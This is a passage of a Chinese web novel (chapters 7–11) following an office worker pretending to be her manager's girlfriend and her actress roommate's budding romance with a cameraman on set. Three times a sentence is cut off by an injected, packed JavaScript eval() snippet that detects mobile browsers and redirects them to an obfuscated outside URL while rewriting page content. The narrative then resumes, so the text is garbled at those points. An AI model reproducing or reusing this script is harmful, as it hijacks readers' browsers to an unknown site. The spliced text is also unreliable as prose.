迟念推开门,调整好的笑容在对上一张面无表情的脸时,像阳光炙烤下的冰淇淋,稀里哗啦地塌掉了。 她知道自己此刻的样子一定很滑稽,只好低着头,小碎步走过去,把汤包放在办公桌上。 因为紧张,声音不免带着波浪,“小陈总早上好,呃…这是很好吃的汤包,您还没吃早饭吧?” 陈昼抬眼着她。 女孩年纪不大,刚毕业的模样,淡妆,马尾,面庞清秀,看起来很紧绷,用力绞着手指。 他很奇怪,都吓成这样了还显什么殷勤,明知他心情不好还主动撞枪口。 他冷着脸,“有别的事吗?” 迟念小声说:“没有。” “出去,东西带走。” “好。” 十几秒的画面足够了,迟念老老实实拿起袋子,干脆离开,毫不拖泥带水。关好门,回工位,几双眼睛正直直地看着她。 心虚,紧张,她像刚从鬼门关逃出来,冷汗濡湿内衣。 精神早已支离破碎,却强撑着无奈一笑,“我们早上确实吃过了。” 娇娇根本不在意早餐的事,她拉着椅子过来,焦急地碎碎念:“小陈总心情很差吧,他有没有和你说会议内容啊,比如上个月广告翻车,有具体的处罚文件吗?” 听她这么说,迟念就懂了。 年假结束后,分公司开启新一年的日化线广告投放计划,娇娇负责红人推广,许是没做好背调,月初签了五个百万大V,月末塌了四个。 官博评论区乌烟瘴气,导致开年第一个购物节没有达到预期销售额,主推产品也被竞争对手买了黑帖,各大社交APP搜索第一关联词是避雷。 总部因此连开三天大会,主要是人事调动。董事会认为,今年开局不利,追溯源头,责任都在宣传部。 此次老总的儿子空降,不用想都知道接下来会腥风血雨大整顿。 怪不得部门这帮人听到风声之后这么慌。 当然,迟念更慌。 她轻咳一声,面对娇娇的六神无主,努力摆出安慰的样子,“他…很少说工作的事,可能还没有具体的计划吧。” 娇娇面如死灰,“钝刀子割肉好难受,要死要活给我个痛快吧。” 8. 第八章 陈昼如娇娇所愿,十分钟后,以此次推广失败案例开启会议,并当场宣布全部门通报批评并扣除第一季度绩效。 迟念人坐在椅子上,心里却在模拟一个计算器,计算底薪+全勤+奖金+绩效。她刚转正,工资全加在一起不到五千,绩效是很少,但蚊子腿也是肉哇! 狭小的会议室,气压突然变得很低,陈昼站在长桌一角,环视一周,拿起文件夹,翻到职务明细页。 他一页一页地翻,眉头越皱越紧,直到最后一页,2寸照片上一张清秀的脸,旁边写着名字——迟念。 再往后翻,没有了。 原来是个新人。 他眼底无波,合上文件夹。 会议开到快十点才结束,大家都是胆战心惊地进去,最后苦着脸出来,每个人的头顶都凝出一块实体乌云。 迟念出了会议室,直奔工位拿手机躲进洗手间。因为娇娇开会时一直在桌下撞她的脚,好像有话想说。 她也有话想说啊,把自己反锁在厕所隔间,拨号给何伶。 何伶早上叮嘱她有事打电话,说明今天有时间,事实也确实如此,戏份都在男女主身上,她这恶毒女二只偶尔跳出来搞搞事。 这会儿没有她的戏份,坐在临时搭建的棚里候场。身上还是穿着那套喜服,在剧里是因为女二大婚之后负伤疯癫,不肯脱下。 实际情况是,剧组经费贫瘠,只给她借到两套戏服。 戏服单薄,外面只套了件开衫毛衣,等了一会儿冻得浑身冰凉,她后知后觉从包里拿出大牌联名保温杯。 男主助理小吴凑过来,见怪地哎哟一声,“伶姐最近在哪条道上发财呢,都用上这种高端货了。” 何伶瞪了他一眼,把杯盖拧好,宝贝似的抱在怀里,“看不出来吗,这是赞助的。” “我去!接到广子了?” “你管呢。” 场景内,剧情迅速推进,男女主在经历了她逃他追的几轮拉扯后,终于迎来了她插翅难飞的甜蜜剧情。 三月的天拍六月的戏,花瓣雨用粉色碎纸替代,原先扛摄像机的大俊爬上房顶,挎着一兜纸片子一把一把地扬。 何伶自然地在人群中寻找替代他工作的人。 那人穿着黑色连帽卫衣,身形清瘦,柔软的黑发随风而动,大片的“花瓣”落在头顶和肩膀,单从背影看,是个清秀少年。 何伶从包里拿出便携望远镜,边调整焦距边问小吴,“那人是新来的摄像吗?” 小吴眯眼,“哪个?” “啧,就负责女主机位的瘦高个。” “哦,你说他啊。”小吴挠了挠头,仔细想这个人的来路,“好像是摄像朋友,特意找来帮忙的。” 何伶撇嘴,“马上杀青了,还有什么可忙…”吐槽到一半,她忽然捕捉到这件事的深层含义,目露精光,“导演又接项目了?什么题材,演员定好了吗?你有小道消息吗?” 一通连环问之后,小吴干笑一声,自嘲道:“我一个助理能知道什么啊,只知道这个摄像是导演学弟。” 他说完,咂了咂嘴,长叹一声,“听说家庭条件可差了,酗酒的爸生病的妈,贫困的山区漏雨的家,还有两个上初中的妹妹等他挣钱回去交学杂费。” 何伶在望远镜里看着那少年白皙的后颈,又转头看了看小吴,满脸写着不信,“可他的背影告诉我他是豪门。” 小吴噗嗤一声笑了,逗趣地说:“是不嚎两声日子就过不下去的那种‘嚎’门吧。” “切~” 何伶又架起望远镜,一眼不眨地盯着那男孩。 好看,真是好看,这漫天飞舞的花瓣下,她完全看不到别人,光是那男孩圆乎乎的后脑勺就能硬控她半天。 好奇正脸什么样。 恰好,机位移动。男孩慢慢转过头,浓眉,凤眼,直鼻,薄唇,是她喜欢的渣男脸,就是太瘦。 可能日子太苦了,纯饿的。 她兴致缺缺,把望远镜扔回包里,抱着保温杯去“御膳房”。这会儿还早,午饭还没送来,反正一时半会没戏份,她要做第一个拿饭的。 迟念的电话打进来时,她正好走到,找了个阳光好的角落,接起电话。 “念念~” “呜…太难搞了。” 何伶一听就知道这人想知难而退,她立刻严肃,“世上无难事,铁杵磨成针,老祖宗传下来的金句你都忘了?” 早上什么都没干,只开了个会而已,迟念就累得一点力气都没有。 她气若游丝,“我知道,但他扣我钱,而且长得和照片一点都不像。” “…会不会是你认错人了?” “没有认错,我觉得照片应该是三四年前拍的,现在的他和照片里的阳光男孩没有关系,是那种成熟款的精英男,本人更帅。” 何伶大无语,“他都扣你钱了,你还能夸出口?” 迟念有些尴尬,“实话实说罢了,我今天早上进办公室送早餐了,说话一直在抖,他真的太吓人了。” “你要冷静!” 何伶的语气很淡,却有种让人安静的魔力,迟念从小陈总那接收过来的焦虑,被她一点一点熨平。 “你记住,不管多聪明的人都不可能知道另一个人的所思所想。事已至此,如果不想谎言败露被开除,只能按计划行事。” 迟念闷闷地点头,惆怅地接受了现实。 “知道了,你呢,今天忙吗,几点回来?” 阳光刺眼,何伶用手遮挡,却隐约看到一个清瘦的身影向这边走来。她心跳漏了一拍,语速极快地说:“得九点多吧,不知道能不能杀青,忙了现在,晚上说。” 挂了电话,她迅速整理了下头发,脚步飞快往他的方向去。 没有意外,肩膀相撞。 何伶抓着喜服,回头,视线相交时恰好是侧脸最美的角度,眼前是少年精致的脸,她当场呆住。 靠!真是硬帅! 花尧捂着肩膀,感觉眼前的女孩有些面熟,确定是最近见过的脸,他仔细回忆… 长发,喜袍,漂亮的脸蛋,深夜…电动车?他眨眨眼,面前的女孩和深夜马路飙电动车竖中指的脸重合在一起。 他扑哧一声笑了。 何伶端着一副温柔淑女的仪态,假装被吓一跳,“怎么了?你笑什么?” 花尧收起笑容,虚虚握拳,放在唇边轻咳一声。他本就有种病弱贵公子的气质,这样故意靠拢,更是惟妙惟肖。 他嗓音清亮,字正腔圆地说普通话:“抱歉,只是感觉我们好像在哪见过。” 这是一个合格的言情剧开头,何伶忍着牙酸,轻笑着说:“可能,是上辈子吧。” 花尧踹在衣兜里的手狠狠捏着肚皮肉,滔天的剧痛堪堪压住爆笑,他直视她的脸,眼睛 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14565652|155647||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 小鹿般晶亮,“好奇怪,我也有这种感觉。” “是吗?”何伶窃喜,把早就准备好的微信名片递过去,“既然这么有缘分,那就加个微信吧弟弟~” 弟弟? 花尧歪头看她,身穿厚重喜服,妆容也为了配合角色故意化得很浓,可他的眼睛自带卸妆系统,只需轻轻一扫,就知道素颜长什么样。 女孩五官偏浓,是御姐的长相,但从眼神和皮肤状态来看,她百分百比他小。 还是个小孩嘛,干吗在这假装情场老手…他突然来了兴致,应该让她也体验一下被拒绝的滋味。 花尧耸了耸肩,“抱歉啊,没带手机。” 没带手机? 何伶眨眨眼,还维持递手机的姿势,现代社会,年轻人出门不带手机等于裸奔,怎么不找个好点的理由。 “怎么~不想加姐姐呀?” 花尧双手插兜,忍着当场竖中指报仇的念头,吊儿郎当地说:“就是没带。” 何伶肉眼可见的尴尬。 她讪讪地把手机放回包里。真是浪费感情,还白费口舌。 气氛变冷,已经没有聊下去的必要,她准备离开,转身之前…余光却瞥到他的袖口,怎么大窟窿套小眼的。 猛然想到他凄惨的身世。 原生家庭这么差的人,没有手机多正常啊! 何伶只用0.1秒就原谅了他,同时鄙视自己,明明也出生在小镇,体会过生活的艰难,怎么到大城市就忘本了呢? 想到这,看他的眼神完全变了。 花尧也很奇怪,刚才都挂不住脸了,他还等着看她受挫暴走呢,结果一眨眼,从她脸上看到母爱了。 他顿时恶寒,想逃! 何伶一把拉住他的手腕,故意不看袖口的破洞,说话语调也变正常,“没带手机多不方便啊,我包里有个备用的,要不要应应急?” 花尧莫名其妙。 她是真信了还是演的?摸不准,沉吟地回:“不用。” 真是嘴硬… 何伶当然懂,和贫苦共生的是自尊,尤其这种年轻气盛的男孩,在人前绝不会承认自己的窘境。 马上中午,“御膳房”这边已经有提前过来等吃饭的人,她的手忽然用力,拉着他走进一间空屋子。 外面看古色古香,里面却是现代化的硬水泥地,她松开手,把包拉开,里面的东西哗啦啦倒在地上。 花尧目光随她动作移动。 钥匙、口红、眼影盘、防晒霜、湿巾、纸巾、卫生巾…他翻了个白眼,怎么会有这么乱的包啊。 何伶从包的夹层深处翻出一个手机,旧款的安卓,套着粉色派大星的壳,又从一大堆杂乱里找到小容量充电宝。 插上之后,按开机键。 花尧心想:不会把我当乞丐了吧? 手机顺利开机,何伶双手举起递过去,怕他不好意思要,故意嫌弃,“这个我用两年了,有点卡,你没有的话就对付用。” 花尧看看通粉的手机,又看看她。 女孩的模样不像演戏,也不像认出他的样子,这样的诚恳真挚的眼神,可能误会了他是穷苦的摄像助理。 不过…若是抛掉家族光环,单看他自己,确实一无所有。 有意思,花尧改变主意了。 他很痛快地接过手机,看着她的眼睛,露出纯真的笑脸,“谢谢姐姐。” 9. 第九章 “欸,我组里来个超帅的弟弟。” 何伶今晚杀青失败,提前回家,这会儿正躺在沙发上,边抚平脸上的面膜褶皱边碎碎念。 迟念穿着睡衣坐在地毯上,简易小桌上放着笔记本电脑,旁边备足咖啡,聚精会神地盯着屏幕。 入职以来,她干的都是跑腿打印的杂活,真分到任务才发现,自己什么都不会,宣传策略还要四处搜模板照着写。 她一个头两个大,只顾发愁了,何伶说的话她左耳听右耳冒,几乎没进脑。 “念念~你说我明天杀青的话,以后还能见到他吗。” “能吧…” 何伶低头看手机,面膜因为动作掉下来一半,她索性全都揭下来,顶着一张反光的脸,突然叹气,“好不容易看上眼一个,可惜了。” 迟念噼里啪啦敲键盘,只听到最后半句,“可惜什么啊?” “可惜的事多了去了。你呢,咋还苦大仇深的,不是没露馅吗。” 是没露馅,但也过得水深火热。 早上开大会,中午重新分配职务,下午成立小组,她还是在韩主管手下,开完组会领任务,她的活最难搞。 “没漏,不过以后要当牛马了。” “什么意思?”何伶快速洗完脸,抱着护肤盒过来,啪啪往脸上拍保湿水,“以为你是总经理女朋友,故意委以重任?” 迟念吐出一口浊气,“是,可我什么都不会,他们都以为我回家有小陈总亲自指导,很多细节都不说。” 何伶也上过班,懂这种眼前一黑四处摸瞎的感觉,可是,她离职场太远,想帮也无能为力。 “那怎么办?” 迟念只能往好处想,“就当锻炼自己了,万一事情败露,我还能靠能力留下来。” 初入职场,乐天派很有必要。 迟念把熬夜做好的方案交给韩主管,韩主管喜笑颜开地接过去,都没翻开,直接开夸:“哎哟,这方案太棒了!” 迟念:“我觉得您还是仔细看看再…” 韩主管大手一挥,“不,我相信你,这就送去办公室给小陈总过目。”说完,还冲她比了个“OK”的稳妥手势。 怎么就万事大吉了? 迟念对自己做的那几张东西一点信心都没有,资料是在网上搜的,方案是照葫芦画瓢的,滥竽充数还行,首当其冲就完蛋了。 她坐在工位上,心不在焉。 娇娇拉着椅子过来,见她发呆,伸手在眼前挥了挥,“迟念,想什么呢。” “啊!没什么。”迟念马上提起十二分精神,故作平常地说:“怎么啦?” “没事,就是想问你中午有时间吗,我和欢姐请你吃饭。” 昨天躲了一天,今天又来? 迟念的头摇成拨浪鼓,“中午我有点忙。” 娇娇秒懂,软绵绵地拍了她大腿一下,眼神暧昧,“是和小陈总一起吃午饭吧,不过话说回来,你们是怎么认识的啊?” 她突然压低声音,“他这么古板冷漠的人,怎么会同意你把酒店事后照发朋友圈…” 迟念听到酒店事后这几个字,登时警铃大作,直接扑过去捂住她的嘴,“你别乱说呀。” 娇娇喘不过气,忙胡乱指着空荡荡的周围,示意她刚才的话根本没人听到。 迟念泄劲,娇娇赶紧拿出口红补妆,打开小镜子,发现唇周的粉底也被她按花了,有些不高兴。 “我怎么乱说了,你刚发我就刷到了,可看照片里的小陈总比现在年轻啊,所以才问你们什么时候认识的。” 迟念摸了摸后颈,企图含混过去,“照片就是近期的,因为我P过了,所以有差别。” 娇娇抿着唇补粉底,没注意到她心虚的小动作,断断续续地说:“怪不得,所以你…今天中午是和…小陈总一起吃食堂吧。” “嗯。” 娇娇扣上粉饼盒,遗憾地说:“那好吧,我和欢姐也不出去吃了,食堂见。” * 中午,剧组放饭。 何伶没有助理,不管干什么都是自己,趁着没有戏份,她拖着戏服去等饭,车刚到,她就选了卖相最好的一份。 今天午饭营养不错,白饭鸡腿肉丸子,外加两个炒素菜,因为工作强度大,她这几天没有控制饮食。 刚想回休息区,余光却看到远处那个单薄的身影。 他很瘦,却扛着最重的机器,安置好以后,落在了人群的最末尾。 何伶想了想,又从餐车里选出一份,逆着人流走到他面前。 视野被一片红阻拦,花尧掀起眼皮,眼前一个放大的餐盒,他歪头,女孩正笑容明朗地着看他。 “不用过去了,我给你拿饭了。”她特意晃了晃手里的两盒。 花尧诧异,“你帮我拿饭?” “对啊,你现在过去,也挑不到好的了。”她说话时,自然地分给他一盒,然后虚揽着他的胳膊往回走。 盒子底部还很热,这股热透过指尖磨出的新茧传遍全身,花尧不免怀疑,这还是那个朝他竖中指的粗鲁女人吗? 会不会是他认错了… 两把折叠椅,何伶一个,另一个是男主助理小吴的,她趁小吴去给男主拿饭,把椅子偷过来给他坐。 花尧从小就在外面野,回家了就挨揍,成年以后出去闯,也是稀里糊涂地过,生活毫无规律可言。 什么一日三餐,天冷加衣,这些专属家庭的温情,在他的世界里相当于公益广告片,纯属骗人的东西。 他是不信的,可胸腔翻涌的热流是怎么回事? 何伶见他傻盯着饭不动,自然想到他的家境,上有老下有小的,平时连肉都舍不得吃吧,遇到我,算你小子运气好。 她夹起自己盒里卖相极好的大鸡腿,慷慨地送过去,急声催他,“还愣着干什么,趁热吃啊,一会儿凉了。” 花尧见她的饭盒里只剩一堆绿色蔬菜,两颗肉丸子早早被她塞进嘴里,一边一个,脸颊被撑得鼓起来。 明明是妖艳美人的扮相,此刻却变得可爱起来。 他眼神一闪,看向鸡腿,低声问:“为什么要给我?” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14565653|155647||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 何伶迅速把肉丸子嚼巴嚼巴咽进去,大咧咧拍了下他肩膀,“因为你太瘦了,不吃点好的容易撅过去。” 同一时间,迟念看着食堂里黑压压的人,笑不出来。 平时没这么多人来这吃饭啊,今天怎么了,有大餐? 她拿着餐盘过去,看了一眼餐台。米饭,煎蛋,小炒肉,炸鱼,空心菜…这不还是每天吃的那些东西么。 一样打了一点,最后拿了一盒纯牛奶。 白色窄桌,坐着娇娇欢姐外加韩主管。不知谁咳了一声,他们同时抬头,看到迟念端着餐盘走过来,无比诧异。 迟念看到他们,仿佛看到实时追踪的摄像机,她想到背负的重担,脚尖一转,向靠窗位置走去。 经过时,她抱歉地耸了耸肩,无需明说,吃饭的三个人秒懂。 她僵硬地往前走,前方的靠窗角落,男人穿着衬衫,一个人坐在那里,自成结界,透着拒人千里之外的寒意。 迟念不能退缩,不停在心里给自己打气,走到桌边,硬着头皮放下餐盘,坐下。 阳光透过窗户,给女孩清秀的脸加了一层暖色滤镜,她唇角漾起浅浅的笑,没有说话,只是看他。 陈昼抬眼,淡淡地回视。 以前不懂皮笑肉不笑,今天算是见识到了,他不知道这女孩是怎么回事,每次都在他心情不好的时候撞上来。 迟念感觉到从对面射来的眼刀,硬着头皮拿起筷子,夹起金黄小炸鱼,像在念广告词,“今天的鱼炸得金黄酥脆,一看就很好吃。” 陈昼面无表情,“你有事?” 我的天!好强的攻击力,救命! 迟念感觉脸上的肌肉不受控制,眼皮狂跳,下巴也在抖,连带着声音又开始起波浪,“对不起,只是…没有空位了,我可以坐在这里吗?” 陈昼余光看了眼四周,的确如她所说,只有他这张桌子余位多;虽然心里存疑,不过他控制自己不把人往坏处想。 “可以。” 迟念松了一口气。 可人在高度紧张的状态下,就算面前是满汉全席也无法下咽,她拿起筷子,努力压住抖动,夹起一根空心菜。 还没送到嘴里,就听到男人不带感情的声音,“迟念是吧?” 她马上放下筷子,老实回答:“是。” “韩主管送到办公室的策划案是你做的?” 突然有种不好的预感,迟念后背开始冒冷汗。 “对。” 陈昼微微挑眉,“你觉得你做得怎么样?” 午休有一会儿了,食堂的人陆续离开,迟念看到娇娇她们走了,石头终于落地,不用再费力表演了。 她低着头,“不好。” 陈昼站起身,掸了掸皱起的衬衫,“既然知道,就不要辜负韩主管对你的信任,今晚重做一份,明天上班后送到我办公室。” 迟念早就做好返工的准备,忙起身应下,“好的小陈总。” 陈昼垂眼看她,声音无波无澜,“小陈总是他们在背后叫的,当面应该叫我陈经理。” 10. 第十章 小桌,笔记本电脑,超浓冰美式,和昨晚一样的加班标配。迟念呆呆地盯着屏幕,脑海里反复回荡那句话——小陈总是他们在背后叫的…… 真是丢死人,都怪同事每次提起他都叫小陈总小陈总的,也没人告诉她当面要称呼陈经理啊… 室内温热,咖啡杯里的冰渐渐融化,外壁渗出一层细密的水渍。 凌晨一点,保存文档,关闭电脑。 咖啡已经失去了原本的味道,迟念把咖啡倒进水池,池子里还放着没洗的泡面碗,她看着飘在水面的油渍,一脸疲惫。 何伶古装杀青,又无缝接了个现代都市剧,从夜戏开始拍,今晚不回来了。 这导致迟念第二天早上没听到闹钟响,赶到公司时迟到了五分钟。 她火速打卡,奔向工位。 小陈总新官上任三把火,不止工作内容大调整,还考察了过去十二个月的业绩,直接开除了几个不达标的。 迟念刚进去,就撞到拿着东西离开的同事,看到他们挫败的脸,她兔死狗烹,仿佛看到未来的自己。 办公区低气压,韩主管一大早上心情不好,趁小陈总不在,正叉着腰发火。 转头看到迟念站在门口,臭脸瞬间笑成一朵喇叭花,“哎哟小迟来了,吃早饭了没,我这有包子要不要?” 就算做了很多次心理建设,迟念还是不能习惯韩主管这样。 早上太急,确实没吃,但她摆手拒绝,“不用,已经吃过了。” 韩主管讪讪地搓了搓手,“好吧,那个…昨天的方案有瑕疵,等会儿小陈总来了,你亲自进去和他说一下。” 迟念微笑,故意把称呼咬得很重,“我知道,陈经理昨天和我说过了。” 十点,小组会结束,她把方案打印出来,敲响办公室的门。 “进。” 她深吸一口气,推开门,走到办公桌前。 从始至终,陈昼的视线一直都在屏幕上,迟念通过镜片反光,大致猜出他在看股市类的波动图。 她把策划案放在桌子上,小声报告:“陈经理,这是我新做的。” 陈昼专注看着走势图,忽然说:“念念。” “嗯?” 迟念怔住,平时只有何伶和家人这样叫她,陈经理几乎算陌生人,怎么突然叫这么亲密?她一时心跳脸烧,慌得不知道怎么办才好。 陈昼支着下巴,没有听到声响,皱眉看过去。 女孩低着头站在那里,脸颊涌出两坨可疑的红晕。 他声音比刚才更冷,“我叫你念念,没听到?” 迟念更紧张了,她不自觉抓紧衣角,小声说:“听到了,可以的。” “……” 这倒像他在求了似的,更可气的是她只知道答应,没有进一步动作,如此迟钝,早知道拟开除名单时把她的名字也勾上了。 陈昼单手摘掉眼镜,手指不耐烦地敲了敲桌面,“你,做的方案,念一下,听不懂?” 迟念宛如遭雷劈,整个人几乎裂开。 她这几天丢的人加起来比过去二十四年都多,只是让她念一下文案,怎么会脑子搭错线误了会啊! 现实没有逃避的出口,她只能尴尬道歉,手忙脚乱拿起方案,翻到主页,一个字一个字地读出来。 虽然读自己做的东西尴尬,不过和刚才的死亡对话相比也不算什么了。 陈昼全程盯着她的脸,新人一个,暂且不提业务,只说情商和理解能力,都没有达到及格水平线。 她总是这样没头苍蝇似的撞过来,说着莫名其妙的话,还经常曲解他的意思,难道…是故意装笨? 可是故意装笨对她有什么好处? 所以是真笨。 他不等她念完,直说:“可以了。出去,叫韩主管进来。” 迟念终于等到赦令,忙合上方案书,推门出去时,刚好对上叶珍珠探究的视线。 她轻咳一声,关紧门,淡定地说:“他找韩主管。” 五分钟后,韩主管站在办公室里,脸上挂着随时听候差遣的笑容。 办公桌上的电脑早已关闭,漆黑的屏幕上倒映着陈昼面无表情的脸。 他说话时眉头微微皱起,明显心情不好,“那个迟念,是怎么来的公司?” 韩主管眼神一闪,没想到他竟然主动提起。 都知道小陈总不喜欢抛头露面,私生活也极其低调,他瞥到桌上的策划案,难道…是自己偏袒得太明显? 可是,小陈总的女朋友就在部门里,不知道就罢了,可问题是知道了呀,借他一百个胆子也不敢再指使迟念跑腿了。 他不敢胡乱回答,只能凭经验猜测。 小陈总当年就是隐藏身份进的公司,工作狂属性,对自己要求很严苛,这样优秀的男人,或许希望女朋友也是如此。 找自己进来问话,应该是想知道在他调过来之前迟念的表现。 如果真是这样的话,当然不能明夸,不仅如此,还要装作不知道他们的关系。 他擦了擦额角的汗,笑着说:“她投的简历,面试时表现很好,在同期招的十个实习生里,不管是履历还是能力都是佼佼者,所以第二个月就转正了。” 陈昼语气犹疑:“佼佼者?” “是的!”韩主管露出赞许的表情,“虽然入职时间很短,但在业务能力方面提升很快,大多工作内容都可以独立完成。” 陈昼轻笑一声,歪头看桌上的策划方案,“那质量呢?” 韩主管宽容一笑,“有一点小瑕疵,但我相信随着经验的积累,她会交出无懈可击的完美方案。” 陈昼冷冷一笑,不想再问。 这种无脑夸明晃晃地告诉他,迟念是个关系户。 就是不知道走谁的关系进来的。现在,分公司这边他最大,不管她是谁塞进来的,只要出了错,马上开除。 * 城东某座大厦的顶层,摄像灯光全部就位,何伶一身白色职业套装,脚踩细高跟,款款走到桌边,端起白瓷咖啡杯。 这是一部豪门狗血剧,她饰演女主后妈,毫无疑问又是恶毒反派。 咖啡还没碰到唇,就听到一声中气十足的吼叫,男人四十多岁,长了一张暴发户的脸,凶神恶煞 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14565654|155647||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 地向她走来。 人还没到,就听“啪”的一声,她挨了一耳光。 咖啡洒了一身,杯子坠地摔碎,她捂着脸,眼眶含泪,故作楚楚可怜状,“你打我,你竟然打我!” 卡~ 导演喊了一声,她立刻回归现实,捏起被咖啡浸透的衣服,去洗手间换衣服。 场地只包了三个小时,时间紧迫,从洗手间出来后,身上换成一件淡黄色轻薄旗袍,这件衣服需要做盘发,她马不停蹄去找化妆师。 梳妆台很简陋,在咖啡厅的一角临时搭建而成,两个皮箱摞着撑起台面,上面摆着镜子和化妆用具。 化妆师不停往发丝里插别针,做出形状后,喷发胶定型,最后从首饰盒里选了一对大颗珍珠耳饰戴上。 何伶对镜检查,却无意中瞥到扛摄像机的男人侧脸。 咦?他什么时候来的。 花尧是何伶去洗手间换衣服时到的,本来今天休息,可是师哥打电话来,说这边场地马上到时间了,还有很多条没拍,问他能不能过来救救急。 他欣然答应,电话挂断之前还宰了师哥一顿饭。 没想到这么巧,又遇到她。 两人在镜子里四目相对,何伶惊喜,拎着裙摆跳着过去,熟络地拍了拍他的肩膀,“好巧啊弟弟,你也进这个组了?” 花尧歪头,盯着她的脸,“怎么红了?” “嗯?”她胡乱摸了一下,无所谓地说:“戏里弄的,没事儿,等下搞点粉盖上就看不出来了,你呢,能拍到杀青吗?” 花尧本该实话实说,可话到嘴边却变了,“差不多吧。” “那真是太棒了!拍完这边的戏有一个小时空挡,你有时间吧,我请你吃牛肉面。” 女孩说话时表情夸张,老成的妆容在脸上显得有一丝割裂,花尧已经和师哥约好饭局,可面对她的邀约,竟然想答应。 他可真是鬼迷心窍了。 随手盖上镜头,故作嫌弃,“就只有牛肉面而已?” 何伶眼睛慢慢瞪大,对于他能说出这种话很不可思议,吐槽的话想出一堆,手却先动,啪地拍了一下他的屁股。 “不然呢!难不成你想吃米其林啊,牛肉面已经是最高规格了好不好,不想去算了,我找别人。” 女孩手劲挺大,一巴掌下去还有点疼,花尧惊愕的同时,发现此刻的心情和被家人打完全不一样。 被她打的地方热热的,麻麻的,微微带着点痒,这痒好像化成无数个勾起的手指,冲破皮肤邀请她——拜托再来一下~ 靠啊!自己竟然有这种见不得人的癖好吗! 鬼使神差的,他拉住何伶的手。 何伶也不惊讶,以为他是怕吃不到牛肉面,所以情急之下做出挽留,她莞尔一笑,哄小孩似的捏了捏他的脸。 “好啦,等会儿工作完姐姐带你去吃。” 花尧慢慢点头,目送窈窕的背影走到场地中间,女孩抱起胳膊,突然像换了个人似的,露出尖酸刻薄的一面。 他勾起唇角,想到她温柔的笑脸由他独享,心底常年缺失的一角,莫名其妙被填满。 11. 第十一章 迟念自那天误会陈经理叫了她小名之后,接下来的日子,都尽可能地避开与他接触。 中午,公司食堂。 今天人不多,娇娇端着餐盘坐在欢姐旁边,瞥了一眼窗边的背影,小声嘀咕:“我怎么觉得他俩最近好像吵架了呢。” 欢姐愣住,夹着的丸子咕噜噜掉在桌子上,“谁啊?” “啧!”娇娇冲窗户方向努努嘴,极小声地说:“小陈总和迟念啊,最近肯定在闹别扭,他看迟念的眼神一点都不像在热恋中,而且…” 她凑近,“我之前不是给了迟念两张音乐节的票吗,她压根没去!” 欢姐用纸巾把丸子包好放在一边,想了想,得出结论:“因为小陈总讨厌办公室恋情,刚来那两天她表现有点明显,可能在家谈过了,现在就刻意保持距离。” 娇娇托着下巴沉思,很想认同,可还是觉得哪里不对劲。 可具体哪里不对,她又琢磨不出。 晚上七点,迟念准时到家,包都没力气拿下来,直接摊平在沙发上。 好累!身体累,精神更累。 何伶十分钟后到家,手里拎着打包回来的水饺,迟念哼哼两声,慢吞吞起身去迎,双手接过打包盒。 马上就四月了,温度竟然下降,倒春寒的日子不好过,何伶里三层外三层地把自己裹成一个粽子。 迟念摆好盒子,倒上酱料,转头一看,毛衣还没脱掉。 她吐槽:“你是女明星哎,干吗把自己穿得像个西伯利亚渔夫。” 何伶把毛衣叠好放在沙发一角,边换睡衣边说:“这女明星谁爱当谁当,本来就吃不饱,再不多穿点冻死了。” 迟念低头看打包盒,透过水饺面皮能看出两种不同的馅,她把泛着绿色的盒子放到对面,软声说:“拍的现代戏啊?” 何伶抱着热水袋坐下,筷子还没拿,先叹了一口气,“是啊,这么冷的天,我穿吊带短裙拍夏天的剧情,冻得我大姨妈都不来了。” 迟念赶紧把身后靠着的毛毯送过去,“要不要这个?” “不用,屋里暖,缓一会儿就好了。” 两份水饺,一盒肉的,一盒素的,很明显,何伶又开始控制体重了。 刚进圈时古装多,衣服能遮,只要脸瘦,稍微多吃点也没关系;现代戏就不行了,露胳膊露腿,多吃一口都能透过屏幕看出来。 她咬下半颗,看到面皮里面寡淡的西葫芦和寥寥几个鸡蛋花,一脸嫌弃,“真是的,狗都不吃。” 迟念立刻从自己那盒夹出一个送过去,“吃一个没事儿。” 水饺刚沾到蘸料,就原路返回,何伶看都不看,直接把剩下的半颗饺子塞进嘴里,生无可恋地说:“吃素馅的已经算破戒了,饺子皮可是碳水。” “那你白天呢,不吃?” “吃很少,自掏腰包买减脂餐,沙拉里全是菜叶子,吃完更饿。” 迟念眉头越皱越紧,饿的滋味抓心挠肝,她光是想想就受不了,“组里不是有盒饭么,你工作强度大,少吃一点没关系的。” 何伶摇了摇头,“本来今天想吃的,但是组里新来个弟弟,午饭没订他那份,我就把我的给他吃了。” “弟弟?”迟念隐约记得她提起过这个人,“就是很帅的那个吧,挺有缘分的嘛,换了组还能在一起。” 